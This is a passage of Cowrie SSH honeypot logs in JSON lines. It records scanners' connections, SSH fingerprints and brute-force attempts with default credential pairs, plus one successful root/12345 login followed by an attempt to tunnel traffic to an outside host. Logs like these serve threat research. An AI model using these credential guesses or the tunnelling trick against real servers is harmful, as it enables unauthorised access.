com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:15.750727Z","src_ip":"213.209.159.158","session":"21866f623072","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"{","password":"{","message":"login attempt [{/{] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:22.340309Z","src_ip":"213.209.159.158","session":"21866f623072","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:25.079196Z","src_ip":"213.209.159.158","session":"21866f623072","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":12648,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9e97054896f","protocol":"ssh","message":"New connection: 213.209.159.158:12648 (10.17.0.5:22) [session: e9e97054896f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:25.193488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:26.809086Z","src_ip":"213.209.159.158","session":"e9e97054896f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:26.811851Z","src_ip":"213.209.159.158","session":"e9e97054896f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":57072,"dst_ip":"159.203.135.109","dst_port":22,"session":"711a7a09721e","protocol":"ssh","message":"New connection: 92.118.39.95:57072 (159.203.135.109:22) [session: 711a7a09721e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:30.654593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:30.657954Z","src_ip":"92.118.39.95","session":"711a7a09721e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:30.760998Z","src_ip":"92.118.39.95","session":"711a7a09721e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:31.075715Z","src_ip":"92.118.39.95","session":"711a7a09721e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:32.183728Z","src_ip":"92.118.39.95","session":"711a7a09721e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Apps","password":"Apps","message":"login attempt [Apps/Apps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:33.619609Z","src_ip":"213.209.159.158","session":"e9e97054896f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.0","message":"Connection lost after 11.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:36.232526Z","src_ip":"213.209.159.158","session":"e9e97054896f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":40762,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eaa4df00ea9","protocol":"ssh","message":"New connection: 213.209.159.158:40762 (10.17.0.5:22) [session: 4eaa4df00ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:36.336985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:38.039268Z","src_ip":"213.209.159.158","session":"4eaa4df00ea9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:38.043711Z","src_ip":"213.209.159.158","session":"4eaa4df00ea9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vodafone","password":"vodafone","message":"login attempt [vodafone/vodafone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:44.716261Z","src_ip":"213.209.159.158","session":"4eaa4df00ea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:47.219608Z","src_ip":"213.209.159.158","session":"4eaa4df00ea9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":28932,"dst_ip":"10.17.0.5","dst_port":22,"session":"baa11d2369fb","protocol":"ssh","message":"New connection: 213.209.159.158:28932 (10.17.0.5:22) [session: baa11d2369fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:47.334698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:49.083870Z","src_ip":"213.209.159.158","session":"baa11d2369fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:49.089692Z","src_ip":"213.209.159.158","session":"baa11d2369fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"QWERTY","message":"login attempt [user/QWERTY] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:55.456306Z","src_ip":"213.209.159.158","session":"baa11d2369fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:57.991161Z","src_ip":"213.209.159.158","session":"baa11d2369fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":13278,"dst_ip":"10.17.0.5","dst_port":22,"session":"be21c902d20a","protocol":"ssh","message":"New connection: 213.209.159.158:13278 (10.17.0.5:22) [session: be21c902d20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:58.088471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:59.764681Z","src_ip":"213.209.159.158","session":"be21c902d20a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:22:59.768300Z","src_ip":"213.209.159.158","session":"be21c902d20a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"avi","password":"avi","message":"login attempt [avi/avi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:05.990968Z","src_ip":"213.209.159.158","session":"be21c902d20a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:08.367718Z","src_ip":"213.209.159.158","session":"be21c902d20a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":10740,"dst_ip":"10.17.0.5","dst_port":22,"session":"23738f6112e1","protocol":"ssh","message":"New connection: 213.209.159.158:10740 (10.17.0.5:22) [session: 23738f6112e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:09.658227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:10.660231Z","src_ip":"213.209.159.158","session":"23738f6112e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:10.663681Z","src_ip":"213.209.159.158","session":"23738f6112e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.116","src_port":57936,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc5b36e506c1","protocol":"ssh","message":"New connection: 80.94.95.116:57936 (159.203.135.109:22) [session: cc5b36e506c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:18.537681Z"}
{"eventid":"cowrie.login.failed","username":"12345","password":"12345","message":"login attempt [12345/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:21.441649Z","src_ip":"213.209.159.158","session":"23738f6112e1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:23.800803Z","src_ip":"80.94.95.116","session":"cc5b36e506c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.4","message":"Connection lost after 14.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:24.111148Z","src_ip":"213.209.159.158","session":"23738f6112e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:24.116422Z","src_ip":"80.94.95.116","session":"cc5b36e506c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":3018,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3ffce69429f","protocol":"ssh","message":"New connection: 213.209.159.158:3018 (10.17.0.5:22) [session: d3ffce69429f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:24.221703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:25.445347Z","src_ip":"213.209.159.158","session":"d3ffce69429f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:25.448912Z","src_ip":"213.209.159.158","session":"d3ffce69429f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"12345","message":"login attempt [root/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:26.873888Z","src_ip":"80.94.95.116","session":"cc5b36e506c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"192.178.25.174","dst_port":443,"src_ip":"80.94.95.116","src_port":0,"message":"direct-tcp connection request to 192.178.25.174:443 from 127.0.0.1:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:27.248812Z","session":"cc5b36e506c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"192.178.25.174","dst_port":443,"data":"b\"\\x16\\x03\\x03\\x00%\\x10\\x00\\x00! \\x85J\\xc9\\x8ea[\\x86pP-P*f\\x9a\\x8d\\xbd/'\\xcf\\xd8&\\xde\\xe8\\xb8\\xf7j\\xe5?f\\xa7\\xa7\\xf7\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 192.178.25.174:443 with data b\"\\x16\\x03\\x03\\x00%\\x10\\x00\\x00! \\x85J\\xc9\\x8ea[\\x86pP-P*f\\x9a\\x8d\\xbd/'\\xcf\\xd8&\\xde\\xe8\\xb8\\xf7j\\xe5?f\\xa7\\xa7\\xf7\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:27.417084Z","src_ip":"80.94.95.116","session":"cc5b36e506c1","protocol":"ssh"}
